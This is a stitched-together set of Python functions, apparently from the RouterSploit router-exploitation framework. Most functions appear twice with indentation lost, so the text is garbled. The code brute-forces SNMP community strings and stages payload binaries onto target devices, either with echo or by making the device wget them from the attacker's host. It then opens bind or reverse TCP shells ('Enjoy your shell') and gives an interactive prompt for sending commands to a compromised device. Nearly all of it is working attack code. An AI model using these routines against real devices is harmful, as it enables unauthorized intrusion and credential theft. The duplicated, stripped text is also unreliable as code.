def target_function(self, running, data):
name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...')
while running.is_set():
try:
string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
res = netsnmp.snmpget(bindvariable, Version = 1, DestHost = address, Community=string)
if res[0] != None:
running.clear()
print_success("{}: Valid community string found!".format(name), string)
self.strings.append(tuple([string]))
else:
pass
# print_error("{}: Invalid community string.".format(name), string)
except StopIteration:
break
print_status(name, 'thread is terminated.')
def bind_tcp(self):
# execute binary
commands = self.build_commands()
for command in commands:
thread = threading.Thread(target=self.exploit.execute,
args=(command, ))
thread.start()
# connecting to shell
print_status("Connecting to {}:{}".format(self.options['rhost'],
self.options['rport']))
time.sleep(2)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], int(self.options['rport'])))
except socket.error:
print_error("Could not connect to {}:{}".format(
self.options['rhost'], self.options['rport']))
return
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
def reverse_tcp(self):
sock = self.listen(self.options['lhost'], self.options['lport'])
if self.port_used:
print_error("Could not set up listener on {}:{}".format(
self.options['lhost'], self.options['lport']))
return
# execute binary
commands = self.build_commands()
print_status("Executing payload on the device")
# synchronized commands
for command in commands[:-1]:
self.exploit.execute(command)
# asynchronous last command to execute binary
thread = threading.Thread(target=self.exploit.execute,
args=(commands[-1], ))
thread.start()
# waiting for shell
print_status("Waiting for reverse shell...")
client, addr = sock.accept()
sock.close()
print_status("Connection from {}:{}".format(addr[0], addr[1]))
print_success("Enjoy your shell")
t = telnetlib.Telnet()
t.sock = client
t.interact()
def reverse_tcp(self):
sock = self.listen(self.options['lhost'], self.options['lport'])
if self.port_used:
print_error("Could not set up listener on {}:{}".format(self.options['lhost'], self.options['lport']))
return
# execute binary
commands = self.build_commands()
print_status("Executing payload on the device")
# synchronized commands
for command in commands[:-1]:
self.exploit.execute(command)
# asynchronous last command to execute binary & rm binary
thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
thread.start()
# waiting for shell
print_status("Waiting for reverse shell...")
client, addr = sock.accept()
sock.close()
print_status("Connection from {}:{}".format(addr[0], addr[1]))
print_success("Enjoy your shell")
t = telnetlib.Telnet()
t.sock = client
t.interact()
def target_function(self, running, data):
name = threading.current_thread().name
address = "{}:{}".format(self.target, self.port)
print_status(name, 'thread is starting...')
while running.is_set():
try:
string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
res = netsnmp.snmpget(bindvariable,
Version=1,
DestHost=address,
Community=string)
if res[0] != None:
running.clear()
print_success(
"{}: Valid community string found!".format(name),
string)
self.strings.append(tuple([string]))
else:
pass
# print_error("{}: Invalid community string.".format(name), string)
except StopIteration:
break
print_status(name, 'thread is terminated.')
def bind_tcp(self):
# execute binary
commands = self.build_commands()
# synchronized commands
for command in commands[:-1]:
self.exploit.execute(command)
# asynchronous last command to execute binary & rm binary
thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
thread.start()
# connecting to shell
print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
time.sleep(2)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], int(self.options['rport'])))
except socket.error:
print_error("Could not connect to {}:{}".format(self.options['rhost'], self.options['rport']))
return
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
def command_set(self, *args, **kwargs):
key, _, value = args[0].partition(' ')
if key in self.current_module.options:
setattr(self.current_module, key, value)
utils.print_success({key: value})
else:
utils.print_error("You can't set option '{}'.\n"
"Available options: {}".format(key, self.current_module.options))
def command_set(self, *args, **kwargs):
key, _, value = args[0].partition(' ')
if key in self.current_module.options:
setattr(self.current_module, key, value)
utils.print_success({key: value})
else:
utils.print_error("You can't set option '{}'.\n"
"Available options: {}".format(key, self.current_module.options))
def command_unsetg(self, *args, **kwargs):
key, _, value = args[0].partition(' ')
try:
del GLOBAL_OPTS[key]
except KeyError:
utils.print_error("You can't unset global option '{}'.\n"
"Available global options: {}".format(key, GLOBAL_OPTS.keys()))
else:
utils.print_success({key: value})
def command_unsetg(self, *args, **kwargs):
key, _, value = args[0].partition(' ')
try:
del GLOBAL_OPTS[key]
except KeyError:
utils.print_error("You can't unset global option '{}'.\n"
"Available global options: {}".format(key, GLOBAL_OPTS.keys()))
else:
utils.print_success({key: value})
def shell(self, sock):
print_status("Waiting for reverse shell...")
client, addr = sock.accept()
sock.close()
print_status("Connection from {}:{}".format(addr[0], addr[1]))
print_success("Enjoy your shell")
t = telnetlib.Telnet()
t.sock = client
t.interact()
def shell(self, sock):
print_status("Waiting for reverse shell...")
client, addr = sock.accept()
sock.close()
print_status("Connection from {}:{}".format(addr[0], addr[1]))
print_success("Enjoy your shell")
t = telnetlib.Telnet()
t.sock = client
t.interact()
def command_check(self, *args, **kwargs):
try:
result = self.current_module.check()
except Exception as error:
utils.print_error(error)
else:
if result is True:
utils.print_success("Target is vulnerable")
elif result is False:
utils.print_error("Target is not vulnerable")
else:
utils.print_status("Target could not be verified")
def command_check(self, *args, **kwargs):
try:
result = self.current_module.check()
except Exception as error:
utils.print_error(error)
else:
if result is True:
utils.print_success("Target is vulnerable")
elif result is False:
utils.print_error("Target is not vulnerable")
else:
utils.print_status("Target could not be verified")
def command_check(self, *args, **kwargs):
try:
result = self.current_module.check()
except:
utils.print_error(traceback.format_exc(sys.exc_info()))
else:
if result is True:
utils.print_success("Target is vulnerable")
elif result is False:
utils.print_error("Target is not vulnerable")
else:
utils.print_status("Target could not be verified")
def command_check(self, *args, **kwargs):
try:
result = self.current_module.check()
except:
utils.print_error(traceback.format_exc(sys.exc_info()))
else:
if result is True:
utils.print_success("Target is vulnerable")
elif result is False:
utils.print_error("Target is not vulnerable")
else:
utils.print_status("Target could not be verified")
def run(self):
self.strings= []
# todo: check if service is up
if self.snmp.startswith('file://'):
snmp = open(self.snmp[7:], 'r')
else:
snmp = [self.snmp]
collection = LockedIterator(snmp)
self.run_threads(self.threads, self.target_function, collection)
if len(self.strings):
print_success("Credentials found!")
headers = tuple(["Community Strings"])
print_table(headers, *self.strings)
else:
print_error("Valid community strings not found")
def echo(self, binary, location):
print_status("Using echo method")
path = "{}/{}".format(location, self.binary_name)
size = len(self.payload)
num_parts = (size / 30) + 1
# transfer binary through echo command
print_status("Using echo method to transfer binary")
for i in range(0, num_parts):
current = i * 30
print_status("Transferring {}/{} bytes".format(
current, len(self.payload)))
block = self.payload[current:current + 30].encode('hex')
block = "\\\\x" + "\\\\x".join(
a + b for a, b in zip(block[::2], block[1::2]))
cmd = 'echo -ne "{}" >> {}'.format(block, path)
self.exploit.execute(cmd)
# execute binary
if self.options['technique'] == "bind_tcp":
self.execute_binary(location, self.binary_name)
print_status("Connecting to {}:{}".format(self.options['rhost'],
self.options['rport']))
time.sleep(2)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], self.options['rport']))
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
elif self.options['technique'] == "reverse_tcp":
sock = self.listen(self.options['lhost'], self.options['lport'])
self.execute_binary(location, self.binary_name)
# waiting for shell
self.shell(sock)
def run(self):
self.strings = []
print_status("Running module...")
# todo: check if service is up
if self.snmp.startswith('file://'):
snmp = open(self.snmp[7:], 'r')
else:
snmp = [self.snmp]
collection = LockedIterator(snmp)
self.run_threads(self.threads, self.target_function, collection)
if len(self.strings):
print_success("Credentials found!")
headers = tuple(["Community Strings"])
print_table(headers, *self.strings)
else:
print_error("Valid community strings not found")
def wget(self, binary, location):
print_status("Using wget method")
# run http server
thread = threading.Thread(target=self.http_server,
args=(self.options['lhost'],
self.options['lport']))
thread.start()
# wget binary
print_status("Using wget to download binary")
cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
self.options['lhost'],
self.options['lport'],
self.binary_name, location,
self.binary_name)
self.exploit.execute(cmd)
# execute binary
if self.options['technique'] == "bind_tcp":
self.execute_binary(location, self.binary_name)
print_status("Connecting to {}:{}".format(self.options['rhost'],
self.options['rport']))
time.sleep(2)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], self.options['rport']))
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
elif self.options['technique'] == "reverse_tcp":
sock = self.listen(self.options['lhost'], self.options['lport'])
self.execute_binary(location, self.binary_name)
# waiting for shell
self.shell(sock)
def shell(exploit, architecture="", method="", payloads=None, **params):
path = "routersploit/modules/payloads/{}/".format(architecture)
payload = None
options = []
if not payloads:
payloads = [
f.split(".")[0] for f in listdir(path) if isfile(join(path, f))
and f.endswith(".py") and f != "__init__.py"
]
print_info()
print_success(
"Welcome to cmd. Commands are sent to the target via the execute method."
)
print_status(
"Depending on the vulnerability, command's results might not be available."
)
print_status(
"For further exploitation use 'show payloads' and 'set payload <payload>' commands."
)
print_info()
while 1:
while not printer_queue.empty():
pass
if payload is None:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
else:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(
payload._Exploit__info__['name'])
cmd = raw_input(cmd_str)
if cmd in ["quit", "exit"]:
return
elif cmd == "show payloads":
print_status("Available payloads:")
for payload_name in payloads:
print_info("- {}".format(payload_name))
elif cmd.startswith("set payload "):
c = cmd.split(" ")
if c[2] in payloads:
payload_path = path.replace("/", ".") + c[2]
payload = getattr(importlib.import_module(payload_path),
'Exploit')()
options = []
for option in payload.exploit_attributes.keys():
if option not in ["output", "filepath"]:
options.append([
option,
getattr(payload, option),
payload.exploit_attributes[option]
])
if payload.handler == "bind_tcp":
options.append([
"rhost",
validators.ipv4(exploit.target), "Target IP address"
])
if method == "wget":
options.append(
["lhost", "", "Connect-back IP address for wget"])
options.append(
["lport", 4545, "Connect-back Port for wget"])
else:
print_error("Payload not available")
elif payload is not None:
if cmd == "show options":
headers = ("Name", "Current settings", "Description")
print_info('\nPayload Options:')
print_table(headers, *options)
print_info()
elif cmd.startswith("set "):
c = cmd.split(" ")
if len(c) != 3:
print_error("set <option> <value>")
else:
for option in options:
if option[0] == c[1]:
try:
setattr(payload, c[1], c[2])
except Exception:
print_error("Invalid value for {}".format(
c[1]))
break
option[1] = c[2]
print_success("{'" + c[1] + "': '" + c[2] + "'}")
elif cmd == "run":
data = payload.generate()
if method == "wget":
elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options,
**params)
if communication.wget() is False:
continue
elif method == "echo":
elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options,
**params)
communication.echo()
elif method == "generic":
params['exec_binary'] = data
communication = Communication(exploit, "", options,
**params)
if payload.handler == "bind_tcp":
communication.bind_tcp()
elif payload.handler == "reverse_tcp":
communication.reverse_tcp()
elif cmd == "back":
payload = None
else:
print_status("Executing '{}' on the device...".format(cmd))
print_info(exploit.execute(cmd))
def shell(exploit, architecture="", method="", payloads=None, **params):
path = "routersploit/modules/payloads/{}/".format(architecture)
payload = None
options = []
if not payloads:
payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]
print_info()
print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
print_status("Depending on the vulnerability, command's results might not be available.")
print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
print_info()
while 1:
while not printer_queue.empty():
pass
if payload is None:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
else:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__['name'])
cmd = raw_input(cmd_str)
if cmd in ["quit", "exit"]:
return
elif cmd == "show payloads":
print_status("Available payloads:")
for payload_name in payloads:
print_info("- {}".format(payload_name))
elif cmd.startswith("set payload "):
c = cmd.split(" ")
if c[2] in payloads:
payload_path = path.replace("/", ".") + c[2]
payload = getattr(importlib.import_module(payload_path), 'Exploit')()
options = []
for option in payload.exploit_attributes.keys():
if option not in ["output", "filepath"]:
options.append([option, getattr(payload, option), payload.exploit_attributes[option]])
if payload.handler == "bind_tcp":
options.append(["rhost", validators.ipv4(exploit.target), "Target IP address"])
if method == "wget":
options.append(["lhost", "", "Connect-back IP address for wget"])
options.append(["lport", 4545, "Connect-back Port for wget"])
else:
print_error("Payload not available")
elif payload is not None:
if cmd == "show options":
headers = ("Name", "Current settings", "Description")
print_info('\nPayload Options:')
print_table(headers, *options)
print_info()
elif cmd.startswith("set "):
c = cmd.split(" ")
if len(c) != 3:
print_error("set <option> <value>")
else:
for option in options:
if option[0] == c[1]:
try:
setattr(payload, c[1], c[2])
except Exception:
print_error("Invalid value for {}".format(c[1]))
break
option[1] = c[2]
print_success("{'" + c[1] + "': '" + c[2] + "'}")
elif cmd == "run":
data = payload.generate()
if method == "wget":
elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options, **params)
if communication.wget() is False:
continue
elif method == "echo":
elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options, **params)
communication.echo()
elif method == "generic":
params['exec_binary'] = data
communication = Communication(exploit, "", options, **params)
if payload.handler == "bind_tcp":
communication.bind_tcp()
elif payload.handler == "reverse_tcp":
communication.reverse_tcp()
elif cmd == "back":
payload = None
else:
print_status("Executing '{}' on the device...".format(cmd))
print_info(exploit.execute(cmd))